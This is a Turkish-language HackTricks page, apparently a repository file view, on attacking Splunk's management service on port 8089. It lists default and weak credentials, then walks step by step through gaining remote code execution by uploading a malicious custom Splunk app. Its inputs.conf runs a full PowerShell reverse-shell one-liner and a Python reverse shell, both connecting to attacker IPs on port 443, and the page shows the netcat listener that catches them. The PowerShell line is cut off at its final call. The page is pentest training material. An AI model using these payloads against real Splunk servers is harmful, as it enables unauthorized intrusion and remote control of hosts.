hacktricks/network-services-pentesting/8089-splunkd.md

140 lines
8.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 8089 - Pentesting Splunkd
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Temel Bilgiler**
Splunk, **veri toplama, analiz etme ve görselleştirme** konusunda kritik bir rol oynayan bir **log analitik aracı**dır. Başlangıçta bir **SIEM (Güvenlik Bilgisi ve Olay Yönetimi)** aracı olarak hizmet vermek amacıyla tasarlanmamış olsa da, **güvenlik izleme** ve **iş analitiği** alanında popülerlik kazanmıştır.
Splunk dağıtımları genellikle **hassas verileri** depolamak için kullanılır ve sistemin ele geçirilmesi durumunda potansiyel saldırganlar için **değerli bir bilgi kaynağı** olabilir. **Varsayılan port:** 8089
```
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
{% hint style="info" %}
**Splunk web sunucusu varsayılan olarak 8000 numaralı portta çalışır**.
{% endhint %}
## Enumeration
### Ücretsiz Versiyon
Splunk Enterprise denemesi **60 gün sonra ücretsiz versiyona dönüşür**, bu da **kimlik doğrulama gerektirmez**. Sistem yöneticilerinin Splunk'ın deneme sürümünü test etmek için kurması ve bunun **sonrasında unutulması** yaygın bir durumdur. Bu, kimlik doğrulama gerektirmeyen ücretsiz versiyona otomatik olarak dönüşecektir ve bu da ortamda bir güvenlik açığı oluşturur. Bazı organizasyonlar, kullanıcı/rol yönetiminin olmamasıyla ilgili sonuçları tam olarak anlamadan bütçe kısıtlamaları nedeniyle ücretsiz versiyonu tercih edebilir.
### Varsayılan Kimlik Bilgileri
Eski Splunk sürümlerinde varsayılan kimlik bilgileri **`admin:changeme`** olup, bu bilgiler giriş sayfasında rahatlıkla görüntülenir.\
Ancak, **Splunk'ın en son sürümü** **kurulum sürecinde** **kimlik bilgilerini** ayarlar. Varsayılan kimlik bilgileri çalışmazsa, `admin`, `Welcome`, `Welcome1`, `Password123` gibi yaygın zayıf şifreleri kontrol etmekte fayda vardır.
### Bilgi Edinme
Splunk'a giriş yaptıktan sonra, **verileri gözden geçirebilir**, **raporlar** çalıştırabilir, **gösterge panelleri** oluşturabilir, Splunkbase kütüphanesinden **uygulamalar** yükleyebilir ve özel uygulamalar yükleyebilirsiniz.\
Ayrıca kod çalıştırabilirsiniz: Splunk, sunucu tarafı Django uygulamaları, REST uç noktaları, betik girdi ve uyarı betikleri gibi **kod çalıştırmanın** birçok yoluna sahiptir. Bir Splunk sunucusunda uzaktan kod yürütmenin yaygın bir yöntemi, betik girdi kullanmaktır.
Ayrıca, Splunk Windows veya Linux ana bilgisayarlarında kurulabileceğinden, Bash, PowerShell veya Batch betiklerini çalıştırmak için betik girdileri oluşturulabilir.
### Shodan
* `Splunk build`
## RCE
### Özel Uygulama Oluşturma
Özel bir uygulama **Python, Batch, Bash veya PowerShell betikleri** çalıştırabilir.\
**Splunk'ın Python ile yüklü geldiğini** unutmayın, bu nedenle **Windows** sistemlerinde bile python kodu çalıştırabileceksiniz.
Bize yardımcı olması için [**bu**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk paketini kullanabilirsiniz. Bu repo içindeki **`bin`** dizini, [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) ve [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1) için örnekler içermektedir. Bunu adım adım inceleyelim.
Bunu başarmak için, önce aşağıdaki dizin yapısını kullanarak özel bir Splunk uygulaması oluşturmamız gerekiyor:
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
**`bin`** dizini, **çalıştırmayı planladığımız** herhangi bir **script** içerecektir (bu durumda, bir **PowerShell** ters shell), ve varsayılan dizin `inputs.conf` dosyamızı içerecektir. Ters shell'imiz bir **PowerShell one-liner** olacak:
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
[inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) dosyası Splunk'a **hangi scriptin çalıştırılacağını** ve diğer koşulları belirtir. Burada uygulamayı etkin olarak ayarlıyoruz ve Splunk'a scripti her 10 saniyede bir çalıştırmasını söylüyoruz. Aralık her zaman saniye cinsindendir ve girdi (script) yalnızca bu ayar mevcutsa çalışacaktır.
```shell-session
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
`.bat` dosyasına ihtiyacımız var, bu dosya uygulama dağıtıldığında çalışacak ve PowerShell tek satırlık komutunu yürütecek.
Sonraki adım, `Install app from file` seçeneğini seçmek ve uygulamayı yüklemektir.
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
Kötü niyetli özel uygulamayı yüklemeden önce, Netcat veya [socat](https://linux.die.net/man/1/socat) kullanarak bir dinleyici başlatalım.
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
`Upload app` sayfasında, göz at'a tıklayın, daha önce oluşturduğumuz tarball'ı seçin ve `Upload`'a tıklayın. **Uygulamayı yüklediğimiz anda**, uygulamanın durumu otomatik olarak `Enabled` olarak değişeceği için bir **ters shell alınır**.
#### Linux
Eğer bir **Linux host** ile uğraşıyorsak, tarball'ı oluşturmadan ve özel kötü amaçlı uygulamayı yüklemeden önce **`rev.py` Python betiğini** **düzenlememiz** gerekecektir. Sürecin geri kalanı aynı kalacak ve Netcat dinleyicimizde bir ters shell bağlantısı alacağız ve yarışa başlayacağız.
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & Yetki Yükseltme
Aşağıdaki sayfada bu hizmetin nasıl kötüye kullanılabileceğine dair bir açıklama bulabilirsiniz, yetkileri yükseltmek ve kalıcılık elde etmek için:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
## Referanslar
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>
{% endhint %}